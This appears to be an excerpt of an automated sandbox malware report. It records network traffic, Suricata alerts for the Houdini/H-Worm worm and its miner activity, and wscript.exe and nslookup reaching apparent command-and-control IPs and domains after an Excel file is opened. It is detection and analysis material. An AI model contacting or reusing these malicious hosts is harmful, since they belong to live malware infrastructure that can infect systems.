Source: global traffic	TCP traffic: 192.168.2.11:49726 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49726
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 192.168.2.11:49727 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49727
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 192.168.2.11:49728 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49728
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 192.168.2.11:49734 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49734
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 192.168.2.11:49732 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49732
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 192.168.2.11:49733 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49733
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49735 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49735
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 192.168.2.11:49736 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49736
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 192.168.2.11:49744 -> 23.111.175.138:80
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 192.168.2.11:49740 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49740
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 192.168.2.11:49739 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49739
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49745
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49745
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49738 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49738
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49747
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49747
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 192.168.2.11:49741 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49741
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49748
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49748
Source: global traffic	TCP traffic: 23.111.175.138:80 -> 192.168.2.11:49744
Source: global traffic	TCP traffic: 192.168.2.11:49744 -> 23.111.175.138:80
Source: global traffic	TCP traffic: 192.168.2.11:49744 -> 23.111.175.138:80
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 23.111.175.138:80 -> 192.168.2.11:49744
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 192.168.2.11:49742 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49742
Source: global traffic	TCP traffic: 192.168.2.11:49749 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49749
Source: global traffic	TCP traffic: 192.168.2.11:49749 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49749 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49749
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49745
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49745
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 192.168.2.11:49745 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49745
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49747
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49747
Source: global traffic	TCP traffic: 192.168.2.11:49747 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49747
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49748
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49748
Source: global traffic	TCP traffic: 192.168.2.11:49748 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49748
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746
Source: global traffic	TCP traffic: 192.168.2.11:49746 -> 13.107.246.63:443
Source: global traffic	TCP traffic: 13.107.246.63:443 -> 192.168.2.11:49746

Source: excel.exe

Memory has grown: Private usage: 2MB later: 119MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49756 -> 23.111.175.138:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49744 -> 23.111.175.138:80
Source: Network traffic	Suricata IDS: 2837599 - Severity 1 - ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity : 192.168.2.11:49744 -> 23.111.175.138:80
Source: Network traffic	Suricata IDS: 2837599 - Severity 1 - ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity : 192.168.2.11:49756 -> 23.111.175.138:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49793 -> 181.214.58.112:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49814 -> 181.214.58.112:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49852 -> 181.214.58.112:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49959 -> 1.1.1.1:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49922 -> 1.1.1.1:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49872 -> 181.214.58.112:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49971 -> 181.214.58.112:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49930 -> 23.111.175.138:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49935 -> 181.214.58.112:80
Source: Network traffic	Suricata IDS: 2837599 - Severity 1 - ETPRO MALWARE Win32/Dunihi/Houdini/H-Worm Miner Activity : 192.168.2.11:49930 -> 23.111.175.138:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:50017 -> 181.214.58.112:80
Source: Network traffic	Suricata IDS: 2017994 - Severity 1 - ET MALWARE Worm.VBS Dunihi/Houdini/H-Worm Checkin UA : 192.168.2.11:49992 -> 181.214.58.112:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 1.1.1.1 443
Source: C:\Windows\System32\wscript.exe	Network Connect: 23.111.175.138 80
Source: C:\Windows\System32\wscript.exe	Network Connect: 181.214.58.112 80

Uses nslookup.exe to query domains

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.airobotheworld.com
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.aigoingtokill.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nslookup.exe nslookup a1.6cs6.club

Source: Joe Sandbox View

IP Address: 13.107.246.63 13.107.246.63

Source: Joe Sandbox View

ASN Name: ASDETUKhttpwwwheficedcomGB ASDETUKhttpwwwheficedcomGB

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49879 -> 13.107.246.63:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.11:49900 -> 13.107.246.63:443

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

